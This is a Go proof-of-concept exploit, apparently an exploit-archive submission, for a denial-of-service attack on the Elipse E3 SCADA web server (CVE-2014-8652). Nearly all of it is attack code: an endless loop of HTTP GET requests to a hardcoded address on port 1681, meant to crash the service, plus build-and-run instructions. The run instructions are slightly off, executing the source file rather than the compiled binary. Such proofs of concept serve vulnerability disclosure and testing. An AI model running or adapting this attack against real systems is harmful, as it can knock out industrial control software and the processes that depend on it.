// Exploit Http DoS Request for SCADA ATTACK Elipse 3
// Mauro Risonho de Paula Assumpção aka firebits
// mauro.risonho@gmail.com
// 29-10-2013 11:42
// Vendor Homepage: http://www.elipse.com.br/port/index.aspx
// Software Link: http://www.elipse.com.br/port/e3.aspx
// Version: 3.x and prior
// Tested on: windows
// CVE : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8652
// NVD : https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8652
// Hard lock Dll crash in Windows 2003 SP2 + 20 requests connections
// exploit in Golang (golang.com) C Google
// compile and execute:
// go build Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
// chmod +x Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
// ./Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
)
func main() {
count := 1
// fmt.Println ("")
// fmt.Println (" _____.__ ___. .__ __ ")
// fmt.Println (" _/ ____\__|______ ____\_ |__ |__|/ |_ ______ ")
// fmt.Println (" \ __\| \_ __ \_/ __ \| __ \| \ __\/ ___/ ")
// fmt.Println (" | | | || | \/\ ___/| \_\ \ || | \___ \ ")
// fmt.Println (" |__| |__||__| \___ >___ /__||__| /____ > ")
// fmt.Println (" \/ \/ \/ ")
// fmt.Println (" bits on fire. ")
fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")
fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")
fmt.Println ("29-10-2013 11:42")
fmt.Println ("mauro.risonho@gmail.com")
fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")
fmt.Println ("20 requests connections per second")
for {
count += count
//http://192.168.0.1:1681/index.html -> Elipse 3 http://<ip-elipse4><port listen: default 1681>
fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")
fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")
fmt.Println ("29-10-2013 11:42")
fmt.Println ("mauro.risonho@gmail.com")
fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")
fmt.Println ("20 requests connections")
fmt.Println ("Connected Port 1681...Testing")
fmt.Println ("Counter Loops: ", count)
res, err := http.Get("http://192.168.0.1:1681/index.html")
if err != nil {
log.Fatal(err)
}
robots, err := ioutil.ReadAll(res.Body)
res.Body.Close()
if err != nil {
log.Fatal(err)
}
fmt.Printf("%s", robots)
}
}